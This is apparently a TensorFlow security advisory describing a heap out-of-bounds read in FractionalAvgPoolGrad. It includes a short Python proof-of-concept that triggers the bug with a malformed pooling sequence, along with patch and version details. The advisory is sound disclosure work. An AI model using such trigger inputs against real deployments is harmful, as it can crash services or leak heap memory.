Out of bounds read in Tensorflow

Impact

The implementation of FractionalAvgPoolGrad does not consider cases where the input tensors are invalid allowing an attacker to read from outside of bounds of heap:

import tensorflow as tf

@tf.function
def test():
  y = tf.raw_ops.FractionalAvgPoolGrad(
    orig_input_tensor_shape=[2,2,2,2],
    out_backprop=[[[[1,2], [3, 4], [5, 6]], [[7, 8], [9,10], [11,12]]]],
    row_pooling_sequence=[-10,1,2,3],
    col_pooling_sequence=[1,2,3,4],
    overlapping=True)
  return y
    
test()

Patches

We have patched the issue in GitHub commit 002408c3696b173863228223d535f9de72a101a9.

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.